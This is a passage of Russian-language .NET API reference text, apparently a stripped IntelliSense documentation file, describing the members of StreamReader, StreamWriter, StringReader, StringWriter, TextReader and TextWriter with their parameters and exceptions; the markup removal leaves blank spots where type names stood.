а также при необходимости оставляет поток открытым. + Считываемый поток. + Кодировка символов, которую нужно использовать. + Значение true для поиска меток порядка байтов в начале файла; в противном случае — значение false. + Минимальный размер буфера. + Значение true, чтобы оставить поток открытым после удаления объекта ; в противном случае — значение false. + + + Возвращает основной поток. + Основной поток. + 2 + + + Возвращает текущую кодировку символов, используемую текущим объектом . + Текущая кодировка символов, используемая текущим устройством чтения.После первого вызова любого метода объекта значение может измениться, поскольку до первого вызова метода автоматическое определение кодировки не выполняется. + 2 + + + Очищает внутренний буфер. + 2 + + + Закрывает основной поток, освобождает неуправляемые ресурсы, используемые , и при необходимости освобождает управляемые ресурсы. + Значение true позволяет освободить как управляемые, так и неуправляемые ресурсы; значение false освобождает только неуправляемые ресурсы. + + + Возвращает значение, определяющее, находится ли позиция текущего потока в конце потока. + Значение true, если текущее положение находится в конце потока; в противном случае — значение false. + Основной поток удален. + 1 + + + Объект для пустого потока. + 1 + + + Возвращает следующий доступный символ, но не использует его. + Целое число, представляющее следующий символ для прочтения или значение -1, если доступных для чтения символов нет или поток не поддерживает поиск. + Ошибка ввода-вывода. + 1 + + + Выполняет чтение следующего символа из входного потока и перемещает положение символа на одну позицию вперед. + Следующий символ из входного потока, представленный в виде объекта , или значение -1, если больше нет доступных символов. + Ошибка ввода-вывода. + 1 + + + Считывает заданное максимальное количество символов из текущего потока в буфер начиная с заданного индекса. + Число символов, которые были считаны, или значение 0, если к концу потока не было считано никаких данных.Это число будет не больше параметра , в зависимости от доступности данных в потоке. + При возврате данный метод содержит указанный массив символов, в котором значения в интервале между и () заменены символами, считанными из текущего источника. + Индекс , с которого требуется начать запись. + Максимальное число считываемых символов. + Длина буфера за вычетом значения параметра меньше значения параметра . + Свойство имеет значение null. + Значение параметра или является отрицательным. + Возникает ошибка ввода-вывода, например закрывается поток. + 1 + + + Асинхронно считывает указанное максимальное количество символов из текущего потока и записывает данные в буфер, начиная с заданного индекса. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит общее число байтов, считанных в буфер.Значение результата может быть меньше запрошенного числа байтов, если число доступных в данный момент байтов меньше запрошенного числа, или результат может быть равен 0 (нулю), если был достигнут конец потока. + При возвращении из этого метода содержит указанный массив символов, в котором значения в интервале от и ( + - 1) заменены символами, считанными из текущего источника. + Позиция в буфере , с которого начинается запись. + Максимальное число считываемых символов.Если конец потока достигнут, прежде чем указанное количество символов записывается в буфер, возвращается текущий метод. + Свойство имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Поток был ликвидирован. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Считывает указанное максимальное количество символов из текущего потока и записывает данные в буфер, начиная с заданного индекса. + Количество считанных символов.Число будет меньше или равно значению , в зависимости от того, считаны ли все входящие символы. + При возврате данный метод содержит указанный массив символов, в котором значения в интервале между и () заменены символами, считанными из текущего источника. + Позиция в буфере , с которого начинается запись. + Максимальное число считываемых символов. + Свойство имеет значение null. + Длина буфера за вычетом значения параметра меньше значения параметра . + Значение параметра или является отрицательным. + Объект закрыт. + Произошла ошибка ввода-вывода. + + + Асинхронно считывает указанное максимальное количество символов из текущего потока и записывает данные в буфер, начиная с заданного индекса. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит общее число байтов, считанных в буфер.Значение результата может быть меньше запрошенного числа байтов, если число доступных в данный момент байтов меньше запрошенного числа, или результат может быть равен 0 (нулю), если был достигнут конец потока. + При возвращении из этого метода содержит указанный массив символов, в котором значения в интервале от и ( + - 1) заменены символами, считанными из текущего источника. + Позиция в буфере , с которого начинается запись. + Максимальное число считываемых символов.Если конец потока достигнут, прежде чем в буфер записано указанное количество символов, метод возвращает управление. + Свойство имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Поток был ликвидирован. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Выполняет чтение строки символов из текущего потока и возвращает данные в виде строки. + Следующая строка из входного потока или значение null, если достигнут конец входного потока. + Недостаточно памяти для размещения буфера возвращаемых строк. + Ошибка ввода-вывода. + 1 + + + Асинхронно выполняет чтение строки символов из текущего потока и возвращает данные в виде строки. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит следующую строку из потока или значение null, если все знаки прочитаны. + Количество символов в следующей строке больше . + Поток был ликвидирован. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Считывает все символы, начиная с текущей позиции до конца потока. + Остальная часть потока в виде строки (от текущего положения до конца).Если текущее положение находится в конце потока, возвращается пустая строка (""). + Недостаточно памяти для размещения буфера возвращаемых строк. + Ошибка ввода-вывода. + 1 + + + Асинхронно считывает все символы, начиная с текущей позиции до конца потока, и возвращает их в виде одной строки. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит строку с символами от текущего положения до конца потока. + Количество символов больше . + Поток был ликвидирован. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Реализует для записи символов в поток в определенной кодировке.Чтобы просмотреть исходный код .NET Framework для этого типа, см. ссылки на источник. + 1 + + + Инициализирует новый экземпляр класса для указанного потока, используя кодировку UTF-8 и размер буфера по умолчанию. + Поток, в который требуется выполнить запись. + Запись в поток запрещена. + + is null. + + + Инициализирует новый экземпляр класса для указанного потока, используя заданную кодировку и размер буфера по умолчанию. + Поток, в который требуется выполнить запись. + Кодировка символов, которую нужно использовать. + Значение параметра или — null. + Запись в поток запрещена. + + + Инициализирует новый экземпляр класса для указанного потока, используя заданную кодировку и размер буфера. + Поток, в который требуется выполнить запись. + Кодировка символов, которую нужно использовать. + Размер буфера в байтах. + Значение параметра или — null. + Значение отрицательно. + Запись в поток запрещена. + + + Инициализирует новый экземпляр класса для указанного потока, используя заданную кодировку и размер буфера, а также при необходимости оставляет поток открытым. + Поток, в который требуется выполнить запись. + Кодировка символов, которую нужно использовать. + Размер буфера в байтах. + Значение true, чтобы оставить поток открытым после удаления объекта ; в противном случае — значение false. + Значение параметра или — null. + Значение отрицательно. + Запись в поток запрещена. + + + Получает или задает значение, определяющее, будет ли сбрасывать буфер в основной поток после каждого вызова . + Значение true, чтобы заставить сбросить буфер; в противном случае — false. + 1 + + + Получает основной поток, связанный с резервным хранилищем. + Поток, в который StreamWriter выполняет запись. + 2 + + + Освобождает неуправляемые ресурсы, используемые объектом , а при необходимости освобождает также управляемые ресурсы. + trueЧтобы освободить управляемые и неуправляемые ресурсы; false чтобы освободить только неуправляемые ресурсы. + Текущая кодировка не поддерживает отображение половины суррогатной пары Юникода. + + + Получает кодировку , в которой осуществляется запись выходных данных. + Кодировка , указанная в конструкторе для текущего экземпляра, или , если кодировка не задана. + 2 + + + Очищает все буферы для текущего средства записи и вызывает запись всех данных буфера в основной поток. + Текущее средство записи закрывается. + Произошла ошибка ввода-вывода. + Текущая кодировка не поддерживает отображение половины суррогатной пары Юникода. + 1 + + + Асинхронно очищает все буферы для этого потока и вызывает запись всех буферизованных данных в базовое устройство. + Задача, представляющая асинхронную операцию очистки. + Поток был ликвидирован. + + + Предоставляет StreamWriter без резервного хранилища, в который можно осуществлять запись, но из которого нельзя считывать данные. + 1 + + + Записывает символ в поток. + Символ, записываемый в поток. + Ошибка ввода-вывода. + + имеет значение True, или буфер полон, и текущее средство записи закрывается. + + имеет значение True, или буфер полон, и его содержимое не может быть записано в основной поток заданного размера, поскольку находится в конце потока. + 1 + + + Записывает в поток массив символов. + Массив символов, содержащий записываемые в поток данные.Если имеет значение null, запись не выполняется. + Ошибка ввода-вывода. + + имеет значение True, или буфер полон, и текущее средство записи закрывается. + + имеет значение True, или буфер полон, и его содержимое не может быть записано в основной поток заданного размера, поскольку находится в конце потока. + 1 + + + Записывает в поток дочерний массив символов. + Массив символов, содержащий записываемые данные. + Положение символа в буфере, с которого начинается чтение данных. + Наибольшее количество символов для записи. + + is null. + Длина буфера за вычетом значения параметра меньше значения параметра . + Значение параметра или является отрицательным. + Ошибка ввода-вывода. + + имеет значение True, или буфер полон, и текущее средство записи закрывается. + + имеет значение True, или буфер полон, и его содержимое не может быть записано в основной поток заданного размера, поскольку находится в конце потока. + 1 + + + Записывает в поток строку. + Строка, записываемая в поток.Если равняется null, запись не выполняется. + + имеет значение True, или буфер полон, и текущее средство записи закрывается. + + имеет значение True, или буфер полон, и его содержимое не может быть записано в основной поток заданного размера, поскольку находится в конце потока. + Ошибка ввода-вывода. + 1 + + + Асинхронно записывает символ в поток. + Задача, представляющая асинхронную операцию записи. + Символ, записываемый в поток. + Удалено средство записи потока. + Средство записи потока в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает дочерний массив символов в поток. + Задача, представляющая асинхронную операцию записи. + Массив символов, содержащий записываемые данные. + Положение символа в буфере с которого начинается чтение данных. + Наибольшее количество символов для записи. + + is null. + Сумма значений параметров и превышает длину буфера. + Значение параметра или является отрицательным. + Удалено средство записи потока. + Средство записи потока в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает строку в поток. + Задача, представляющая асинхронную операцию записи. + Строка, записываемая в поток.Если имеет значение null, запись не выполняется. + Удалено средство записи потока. + Средство записи потока в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает в поток признак конца строки. + Задача, представляющая асинхронную операцию записи. + Удалено средство записи потока. + Средство записи потока в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает в поток символ, за которым следует признак конца строки. + Задача, представляющая асинхронную операцию записи. + Символ, записываемый в поток. + Удалено средство записи потока. + Средство записи потока в настоящее время используется предыдущей операцией записи. + + + Асинхронного записывает в поток дочерний массив символов, за которыми следует признак конца строки. + Задача, представляющая асинхронную операцию записи. + Массив символов, из которого записываются данные. + Положение символа в буфере, с которого начинается чтение данных. + Наибольшее количество символов для записи. + + is null. + Сумма значений параметров и превышает длину буфера. + Значение параметра или является отрицательным. + Удалено средство записи потока. + Средство записи потока в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает в поток строку, за которой следует признак конца строки. + Задача, представляющая асинхронную операцию записи. + Строка для записи.Если значение равно null, записывается только знак завершения строки. + Удалено средство записи потока. + Средство записи потока в настоящее время используется предыдущей операцией записи. + + + Реализует класс , осуществляющий чтение из строки. + 2 + + + Инициализирует новый экземпляр класса , осуществляющий чтение из указанной строки. + Строка, для которой должен быть инициализирован класс . + Значение параметра — null. + + + Освобождает неуправляемые ресурсы, используемые (при необходимости освобождает и управляемые ресурсы). + Значение true позволяет освободить управляемые и неуправляемые ресурсы; значение false позволяет освободить только неуправляемые ресурсы. + + + Возвращает следующий доступный символ, но не использует его. + Целое число, представляющее следующий символ, чтение которого необходимо выполнить, или значение -1, если доступных символов больше нет или поток не поддерживает поиск. + Текущее средство чтения закрыто. + 2 + + + Считывает следующий символ из строки ввода и увеличивает позицию символа на один символ. + Следующий символ из основной строки или значение -1, если больше нет доступных символов. + Текущее средство чтения закрыто. + 2 + + + Считывает блок символов из строки ввода и увеличивает позицию символов на . + Общее количество символов, считанных в буфер.Оно может быть меньше, чем число запрошенных символов, если большинство символов не доступно в текущий момент, или равно нулю, если достигнут конец основной строки. + При возвращении данного метода содержит заданный массив символов, в котором значения в интервале между и ( + - 1) заменены символами, считанными из текущего источника. + Начальный индекс в буфере. + Количество символов, которые необходимо считать. + Параметр имеет значение null. + Длина буфера за вычетом значения параметра меньше значения параметра . + Значение параметра или является отрицательным. + Текущее средство чтения закрыто. + 2 + + + Асинхронно считывает указанное максимальное количество символов из текущей строки и записывает данные в буфер, начиная с заданного индекса. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит общее число байтов, считанных в буфер.Значение результата может быть меньше запрошенного числа байтов, если число текущих доступных байтов меньше запрошенного числа, или результат может быть равен 0 (нулю), если был достигнут конец строки. + При возвращении данного метода содержит заданный массив символов, в котором значения в интервале между и ( + - 1) заменены символами, считанными из текущего источника. + Позиция в буфере , с которого начинается запись. + Наибольшее число символов для чтения.Если конец строки достигнут, прежде чем в буфер записано указанное количество символов, метод возвращает управление. + Параметр имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Удалено средство чтения строки. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Асинхронно считывает указанное максимальное количество символов из текущей строки и записывает данные в буфер, начиная с заданного индекса. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит общее число байтов, считанных в буфер.Значение результата может быть меньше запрошенного числа байтов, если число текущих доступных байтов меньше запрошенного числа, или результат может быть равен 0 (нулю), если был достигнут конец строки. + При возвращении данного метода содержит заданный массив символов, в котором значения в интервале между и ( + - 1) заменены символами, считанными из текущего источника. + Позиция в буфере , с которого начинается запись. + Наибольшее число символов для чтения.Если конец строки достигнут, прежде чем в буфер записано указанное количество символов, метод возвращает управление. + Параметр имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Удалено средство чтения строки. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Выполняет чтение строки символов из текущей строки и возвращает данные в виде строки. + Следующая строка из текущей строки, или значение null, если достигнут конец строки. + Текущее средство чтения закрыто. + Недостаточно памяти для размещения буфера возвращаемых строк. + 2 + + + Асинхронно выполняет чтение строки символов из текущей строки и возвращает данные в виде строки. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит следующую строку из средства чтения строк или значение null, если все знаки считаны. + Количество символов в следующей строке больше . + Удалено средство чтения строки. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Выполняет чтение всех символов, начиная с текущей позиции до конца строки, и возвращает их в виде одной строки. + Содержимое, начиная от текущей позиции до конца основной строки. + Недостаточно памяти для размещения буфера возвращаемых строк. + Текущее средство чтения закрыто. + 2 + + + Асинхронно считывает все символы, начиная с текущей позиции до конца строки, и возвращает их в виде одной строки. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит строку с символами от текущего положения до конца строки. + Количество символов больше . + Удалено средство чтения строки. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Реализует для записи данных в строку.Данные хранятся в основном . + 2 + + + Инициализирует новый экземпляр класса . + + + Инициализирует новый экземпляр класса с указанным форматом объекта. + Объект , управляющий форматированием. + + + Инициализирует новый экземпляр класса , с помощью которого осуществляется запись в указанный класс . + Класс StringBuilder, в который осуществляется запись. + Параметр имеет значение null. + + + Инициализирует новый экземпляр класса , с помощью которого осуществляется запись в указанный класс и который имеет указанный формат поставщика. + Класс StringBuilder, в который осуществляется запись. + Объект , управляющий форматированием. + Параметр имеет значение null. + + + Освобождает неуправляемые (а при необходимости и управляемые) ресурсы, используемые объектом . + Значение true позволяет освободить управляемые и неуправляемые ресурсы; значение false позволяет освободить только неуправляемые ресурсы. + + + Получает кодировку , в которой осуществляется запись выходных данных. + Encoding, в которой осуществляется запись выходных данных. + 1 + + + Асинхронно очищает все буферы текущего средства записи и вызывает запись всех буферизованных данных в базовое устройство. + Задача, представляющая асинхронную операцию очистки. + + + Возвращает основной . + Базовый StringBuilder. + 2 + + + Возвращает строку, содержащую символы, записанные до этого момента в текущий StringWriter. + Строка, содержащая символы, записанные в текущий StringWriter. + 2 + + + Записывает символ в строку. + Символ для записи. + Средство записи закрыто. + 2 + + + Записывает в строку дочерний массив символов. + Массив символов, из которого записываются данные. + Положение в буфере, с которого начинается чтение данных. + Наибольшее количество символов для записи. + Параметр имеет значение null. + Значение параметра или является отрицательным. + ( + )> .Length. + Средство записи закрыто. + 2 + + + Записывает строку в текущую строку. + Строка для записи. + Средство записи закрыто. + 2 + + + Выполняет асинхронную запись символа в строку. + Задача, представляющая асинхронную операцию записи. + Символ, записываемый в строку. + Удалено средство записи строки. + Средство записи строки в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает дочерний массив символов в строку. + Задача, представляющая асинхронную операцию записи. + Массив символов, из которого записываются данные. + Положение в буфере, с которого начинается чтение данных. + Наибольшее количество символов для записи. + Параметр имеет значение null. + Сумма значений параметров и превышает длину буфера. + Значение параметра или является отрицательным. + Удалено средство записи строки. + Средство записи строки в настоящее время используется предыдущей операцией записи. + + + Выполняет асинхронную запись строки в текущую строку. + Задача, представляющая асинхронную операцию записи. + Строка для записи.Если параметр имеет значение null, в текстовый поток ничего записано не будет. + Удалено средство записи строки. + Средство записи строки в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает в строку символ, за которым следует признак конца строки. + Задача, представляющая асинхронную операцию записи. + Символ, записываемый в строку. + Удалено средство записи строки. + Средство записи строки в настоящее время используется предыдущей операцией записи. + + + Асинхронного записывает в строку дочерний массив символов, за которыми следует признак конца строки. + Задача, представляющая асинхронную операцию записи. + Массив символов, из которого записываются данные. + Положение в буфере, с которого начинается чтение данных. + Наибольшее количество символов для записи. + Параметр имеет значение null. + Сумма значений параметров и превышает длину буфера. + Значение параметра или является отрицательным. + Удалено средство записи строки. + Средство записи строки в настоящее время используется предыдущей операцией записи. + + + Асинхронного записывает в текущий поток строку, за которой следует признак конца строки. + Задача, представляющая асинхронную операцию записи. + Строка для записи.Если значение равно null, записывается только знак завершения строки. + Удалено средство записи строки. + Средство записи строки в настоящее время используется предыдущей операцией записи. + + + Представляет средство чтения, позволяющее считывать последовательные наборы символов. + 2 + + + Инициализирует новый экземпляр класса . + + + Освобождает все ресурсы, используемые объектом . + + + Освобождает неуправляемые ресурсы, используемые объектом , а при необходимости освобождает также и управляемые ресурсы. + Значение true позволяет освободить как управляемые, так и неуправляемые ресурсы; значение false освобождает только неуправляемые ресурсы. + + + Предоставляет TextReader без данных, доступных для чтения. + 1 + + + Выполняет чтение следующего символа, не изменяя состояние средства чтения или источника символа.Возвращает следующий доступный символ, фактически не считывая его из средства чтения. + Целое число, представляющее следующий символ, чтение которого необходимо выполнить, или значение -1, если доступных символов больше нет или средство чтения не поддерживает поиск. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Выполняет чтение следующего символа из средства чтения текста и перемещает положение символа на одну позицию вперед. + Следующий символ из средства чтения текста или значение -1, если доступных символов больше нет.Реализация по умолчанию возвращает значение -1. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Считывает указанное максимальное количество символов из текущего средства чтения и записывает данные в буфер, начиная с заданного индекса. + Количество считанных символов.Количество будет меньше или равно в зависимости от доступности данных в средстве чтения.Этот метод возвращает 0 (нуль), если его вызвать при отсутствии символов, доступных для чтения. + При возвращении данного метода содержит заданный массив символов, в котором значения в интервале между и ( + - 1) заменены символами, считанными из текущего источника. + Позиция в буфере , с которого начинается запись. + Максимальное число считываемых символов.Если конец средства чтения достигнут, прежде чем в буфер считано указанное количество символов, метод возвращает управление. + Свойство имеет значение null. + Длина буфера за вычетом значения параметра меньше значения параметра . + Значение параметра или является отрицательным. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Асинхронно считывает указанное максимальное количество символов из текущего средства чтения текста и записывает данные в буфер, начиная с указанного индекса. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит общее число байтов, считанных в буфер.Значение результата может быть меньше запрошенного числа байтов, если число текущих доступных байтов меньше запрошенного числа, или результат может быть равен 0 (нулю), если был достигнут конец текста. + При возвращении данного метода содержит заданный массив символов, в котором значения в интервале между и ( + - 1) заменены символами, считанными из текущего источника. + Позиция в буфере , с которого начинается запись. + Максимальное число считываемых символов.Если конец текста достигнут, прежде чем указанное количество символов считывается в буфер, текущий метод возвращает управление. + Свойство имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Удалено средство чтения текста. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Считывает указанное максимальное количество символов из текущего средства чтения текста и записывает данные в буфер, начиная с заданного индекса. + Количество считанных символов.Число будет меньше или равно значению в зависимости от того, считаны ли все входящие символы. + При возвращении данного метода этот параметр содержит заданный массив символов, в котором значения в интервале между и ( + - 1) заменены символами, считанными из текущего источника. + Позиция в буфере , с которого начинается запись. + Максимальное число считываемых символов. + Свойство имеет значение null. + Длина буфера за вычетом значения параметра меньше значения параметра . + Значение параметра или является отрицательным. + Объект закрыт. + Ошибка ввода-вывода. + 2 + + + Асинхронно считывает указанное максимальное количество символов из текущего средства чтения текста и записывает данные в буфер, начиная с указанного индекса. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит общее число байтов, считанных в буфер.Значение результата может быть меньше запрошенного числа байтов, если число текущих доступных байтов меньше запрошенного числа, или результат может быть равен 0 (нулю), если был достигнут конец текста. + При возвращении данного метода содержит заданный массив символов, в котором значения в интервале между и ( + - 1) заменены символами, считанными из текущего источника. + Позиция в буфере , с которого начинается запись. + Максимальное число считываемых символов.Если конец текста достигнут, прежде чем указанное количество символов считывается в буфер, текущий метод возвращает управление. + Свойство имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Удалено средство чтения текста. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Выполняет чтение строки символов из средства чтения текста и возвращает данные в виде строки. + Следующая строка из средства чтения, или значение null, если все символы считаны. + Ошибка ввода-вывода. + Недостаточно памяти для размещения буфера возвращаемых строк. + Объект закрыт. + Количество символов в следующей строке больше . + 1 + + + Асинхронно выполняет чтение строки символов и возвращает данные в виде строки. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит следующую строку из средства чтения текста или значение null, если все знаки считаны. + Количество символов в следующей строке больше . + Удалено средство чтения текста. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Считывает все символы, начиная с текущей позиции до конца средства чтения текста, и возвращает их в виде одной строки. + Строка, содержащая все символы, начиная с текущей позиции до конца средства чтения текста. + Ошибка ввода-вывода. + Объект закрыт. + Недостаточно памяти для размещения буфера возвращаемых строк. + Количество символов в следующей строке больше . + 1 + + + Асинхронно считывает все символы с текущей позиции до конца средства чтения текста и возвращает их в виде одной строки. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит строку с символами от текущего положения до конца средства чтения текста. + Количество символов больше . + Удалено средство чтения текста. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Представляет модуль записи, который может записывать последовательные наборы символов.Это абстрактный класс. + 2 + + + Инициализирует новый экземпляр класса . + + + Инициализирует новый экземпляр класса указанным поставщиком формата. + Объект , управляющий форматированием. + + + Сохраняет символы новой строки, используемые для данного TextWriter. + + + Освобождает все ресурсы, используемые объектом . + + + Освобождает неуправляемые ресурсы, используемые объектом , а при необходимости освобождает также управляемые ресурсы. + Значение true позволяет освободить как управляемые, так и неуправляемые ресурсы; значение false освобождает только неуправляемые ресурсы. + + + При переопределении в производном классе возвращает кодировку символов, в которой записаны выходные данные. + Кодировка символов, в которой осуществляется запись выходных данных. + 1 + + + Очищает все буферы текущего модуля записи и вызывает немедленную запись всех буферизованных данных на базовое устройство. + 1 + + + Асинхронно очищает все буферы текущего средства записи и вызывает запись всех буферизованных данных в базовое устройство. + Задача, представляющая асинхронную операцию очистки. + Удалено средство записи текста. + Средство записи в настоящее время используется предыдущей операцией записи. + + + Возвращает объект, управляющий форматированием. + Объект для указанного языка и региональных параметров или форматирование текущего языка и региональных параметров, если не заданы другие. + 2 + + + Возвращает или задает признак конца строки, используемой текущим TextWriter. + Признак конца строки для текущего TextWriter. + 2 + + + Предоставляет TextWriter без резервного хранилища, в который можно осуществлять запись, но из которого нельзя считывать данные. + 1 + + + Записывает в текстовую строку или поток текстовое представление значения Boolean. + Значение Boolean для записи. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Выполняет запись символа в текстовую строку или поток. + Символ, записываемый в текстовый поток. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Выполняет запись массива символов в текстовую строку или поток. + Массив символов, записываемый в текстовый поток. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает дочерний массив символов в текстовую строку или поток. + Массив символов, из которого записываются данные. + Положение символа в буфере, с которого начинается извлечение данных. + Количество символов для записи. + Длина буфера за вычетом значения параметра меньше значения параметра . + Параметр имеет значение null. + Значение параметра или является отрицательным. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает текстовое представление десятичного значения в текстовую строку или поток. + Десятичное значение, которое необходимо записать. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление значения с плавающей запятой размером 8 байт. + Записываемое значение с плавающей запятой размером 8 байт. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление целого числа со знаком размером 4 байта. + Записываемое целое число со знаком размером 4 байта. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление целого числа со знаком размером 8 байт. + Записываемое целое число со знаком размером 8 байт. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление объекта с помощью вызова метода ToString для этого объекта. + Записываемый объект. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление значения с плавающей запятой размером 4 байта. + Записываемое значение с плавающей запятой размером 4 байта. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Асинхронно записывает строку в текстовую строку или поток. + Строка для записи. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает форматированную строку в текстовую строку или поток, используя ту же семантику, что и метод . + Строка составного формата (см. примечания). + Объект для форматирования и записи. + Свойство имеет значение null. + Объект закрыт. + Ошибка ввода-вывода. + Параметр не является допустимой строкой составного формата.-или- Индекс элемента формата меньше 0 (нуля) или больше или равен числу объектов, которые необходимо отформатировать (которое для этой перегрузки метода равно 1). + 1 + + + Записывает форматированную строку в текстовую строку или поток, используя ту же семантику, что и метод . + Строка составного формата (см. примечания). + Первый объект для форматирования и записи. + Второй объект для форматирования и записи. + Свойство имеет значение null. + Объект закрыт. + Ошибка ввода-вывода. + Параметр не является допустимой строкой составного формата.-или- Индекс элемента формата меньше 0 (нуля) или больше или равен числу объектов, которые необходимо отформатировать (которое для этой перегрузки метода равно 2). + 1 + + + Записывает форматированную строку в текстовую строку или поток, используя ту же семантику, что и метод . + Строка составного формата (см. примечания). + Первый объект для форматирования и записи. + Второй объект для форматирования и записи. + Третий объект для форматирования и записи. + Свойство имеет значение null. + Объект закрыт. + Ошибка ввода-вывода. + Параметр не является допустимой строкой составного формата.-или- Индекс элемента формата меньше 0 (нуля) или больше или равен числу объектов, которые необходимо отформатировать (которое для этой перегрузки метода равно 3). + 1 + + + Записывает форматированную строку в текстовую строку или поток, используя ту же семантику, что и метод . + Строка составного формата (см. примечания). + Массив объектов, содержащий от нуля и более объектов, которые необходимо форматировать и записать. + Параметр или имеет значение null. + Объект закрыт. + Ошибка ввода-вывода. + Параметр не является допустимой строкой составного формата.-или- Индекс элемента формата меньше 0 (нуля), либо больше или равен длине массива . + 1 + + + Записывает в текстовую строку или поток текстовое представление целого числа без знака размером 4 байта. + Записываемое целое число без знака размером 4 байта. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление целого числа без знака размером 8 байт. + Записываемое целое число без знака размером 8 байт. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Выполняет асинхронную запись символа в текстовую строку или поток. + Задача, представляющая асинхронную операцию записи. + Символ, записываемый в текстовый поток. + Удалено средство записи текста. + Средство записи текста в настоящее время используется предыдущей операцией записи. + + + Выполняет асинхронную запись массива символов в текстовую строку или поток. + Задача, представляющая асинхронную операцию записи. + Массив символов, записываемый в текстовый поток.Если имеет значение null, запись не выполняется. + Удалено средство записи текста. + Средство записи текста в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает дочерний массив символов в текстовую строку или поток. + Задача, представляющая асинхронную операцию записи. + Массив символов, из которого записываются данные. + Положение символа в буфере, с которого начинается извлечение данных. + Количество символов для записи. + Свойство имеет значение null. + Сумма значений параметров и превышает длину буфера. + Значение параметра или является отрицательным. + Удалено средство записи текста. + Средство записи текста в настоящее время используется предыдущей операцией записи. + + + Выполняет асинхронную запись строки в текстовую строку или поток. + Задача, представляющая асинхронную операцию записи. + Строка для записи.Если параметр имеет значение null, в текстовый поток ничего не записывается. + Удалено средство записи текста. + Средство записи текста в настоящее время используется предыдущей операцией записи. + + + Записывает признак конца строки в текстовую строку или поток. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление значения Boolean, за которым следует признак конца строки. + Значение Boolean для записи. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток символ, за которым следует признак конца строки. + Символ, записываемый в текстовый поток. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток массив символов, за которыми следует признак конца строки. + Массив символов, из которого считываются данные. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток дочерний массив символов, за которыми следует признак конца строки. + Массив символов, из которого считываются данные. + Положение символа в , с которого начинается чтение данных. + Наибольшее количество символов для записи. + Длина буфера за вычетом значения параметра меньше значения параметра . + Параметр имеет значение null. + Значение параметра или является отрицательным. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление десятичного значения, за которым следует признак конца строки. + Десятичное значение, которое необходимо записать. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление значения с плавающей запятой размером 8 байта, за которым следует признак конца строки. + Записываемое значение с плавающей запятой размером 8 байт. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление целого числа со знаком размером 4 байта, за которым следует признак конца строки. + Записываемое целое число со знаком размером 4 байта. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление целого числа со знаком размером 8 байт, за которым следует признак конца строки. + Записываемое целое число со знаком размером 8 байт. + Объект закрыт. + Ошибка ввода-вывода. + 1 + + + Записывает в текстовую строку или поток текстовое представление объекта путем вызова метода ToString для этого объекта, за которым следует признак конца строки. + Записываемый объект.Если имеет значение null, записывается 